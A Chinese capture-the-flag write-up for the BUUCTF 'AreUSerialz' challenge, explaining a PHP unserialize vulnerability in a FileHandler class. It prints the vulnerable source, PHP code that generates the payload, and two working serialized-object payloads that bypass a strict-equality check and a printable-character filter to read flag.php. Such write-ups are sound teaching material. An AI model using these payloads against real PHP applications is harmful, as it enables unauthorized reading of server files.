BUUCTF在线评测-练习场-WebCTF习题[网鼎杯 2020 青龙组]AreUSerialz1-flag获取、解析

发布于:2025-07-08 ⋅ 阅读:(14) ⋅ 点赞:(0)

解题思路

打开靶场,贴有源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

结合题目、源码可以知道主要是是反序列化漏洞。

下面分析核心源码。

首先,前面就直接包含了我们感兴趣的php文件flag.php,并且定义了保护类型的三个变量,保护类型只有类自己能访问。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

这里只有__construct方法__destruct方法两个魔术方法和反序列化有关

 function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

类的构造方法,在实例化时自动调用,这里赋值、并调用了process方法:

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

当op为1时,执行写方法write(),当op为2时执行读方法,并输出所读内容,都不等于那么就输出类似报错的东西。这里前面构造方法自动调用赋值op=1,因此会执行写方法。


    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

 写方法先确认文件名和内容的存在,并且判断内容长度,如果大于100就报错,否则就写入数据。


    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

读方法就是确认文件名是否存在,然后读取内容。


    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

 output方法就是输出内容。

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

最后是,类的析构方法,在类的实例化被销毁时、或者类被引用销毁时会自动调用。

这里,销毁时如果op==="2",就让op恢复成1。

这里需要注意使用了强类型等于,必须值、类型相同,而这里类型是字符串,所以我们输入整数2即可绕过该恢复。所以,这里就是注入点了。绕过后,后面即可调用process方法。

再看看后续代码

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

 is_valid方法,使用ord方法,ord是让字符转义成ASCII值的形式,这里还要求必须大于32小于125,也就是我们的字符串中只能包含这些允许的字符,需要进行绕过。

后面就是get获取一个str参数,并用is_valid方法过滤,绕过后即可进行反序列化操作。

目标:利用op=2,调用process中的read,读取flag.php文件,思路总结:

1. 构造函数无法利用,实例化时自动调用,序列化反序列化都无法再次利用。

2. 析构函数可以利用,输入op=整数2即可绕过强类型判断,那如何调用析构函数?

序列化时并不会被调用。

而是,第一是在实例化结束后会被调用,这里无法利用。

那么只有第二种:反序列化得到的是对象,用完后会销毁,触发析构函数。

那么现在我们要序列化然后进行反序列化。

序列化我们可以php执行即可,反序列化需要绕过is_valid方法。

3.最终总结,制造payload,绕过is_valid方法读取flag.php文件

先制造基础版payload:

<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='flag.php';         
  protected $content;

}
$FileHandler = serialize(new FileHandler);

echo $FileHandler;                                           

?>

定义op等于2,读取的文件名为flag.php,content无需赋值,因为用不到,然后实例化,序列化,输出:

 我们可以看到有不可打印字符,这是因为protected类型对象的原因,这种不可打印字符ASCII为0,但是is_valid方法需要大于32小于125,即无法绕过,这里有两种解决办法:

先介绍比较简单的,那就是不用protected类型,将变量类型改变成公共变量

<?php
  class FileHandler {
  public $op = 2;
  public $filename ='flag.php';         
  public $content;

}
$FileHandler = serialize(new FileHandler);

echo $FileHandler;                                           

?>

 输出

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

payload: 

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

在源码中,成功获取flag:

 

第二种方法比较难以理解,也不太能想到

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

 将不可见字符,替换成\00,并将小s替换成大S。

为什么要替换成\00?

下面是属性的序列化格式。

属性权限 序列化格式
public 直接写属性名
protected \x00*\x00属性名
private \x00类名\x00属性名

因为不可见字符会被解析成NULL即\x00,转换为ASCII为0,那么就不能通过is_valid的检测。

为什么\00可以替换\x00?

因为我们将s替换成了大S,序列化后的大S,可以支持十六进制解析,那么\00就是代表NULL。

也就是说\00=\x00,仍然可以解析成正常的属性。

那NULL不是还是ASCII绕不过吗?

重点来了,虽然解析是NULL,但是,这里is_valid,是把序列化后的数据,当作字符串来处理的,所以不会将\00解析成NULL,也就不会ASCII=0,那么就绕过is_valid了。

完整payload:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

也是可以获取flag

总结

一道比较进阶的反序列化漏洞把

第一个解题方法是利用php版本问题,对属性不敏感,所以可以更改

第二个解题方法比较难想吧,了解即可。


网站公告

今日签到

点亮在社区的每一天
去签到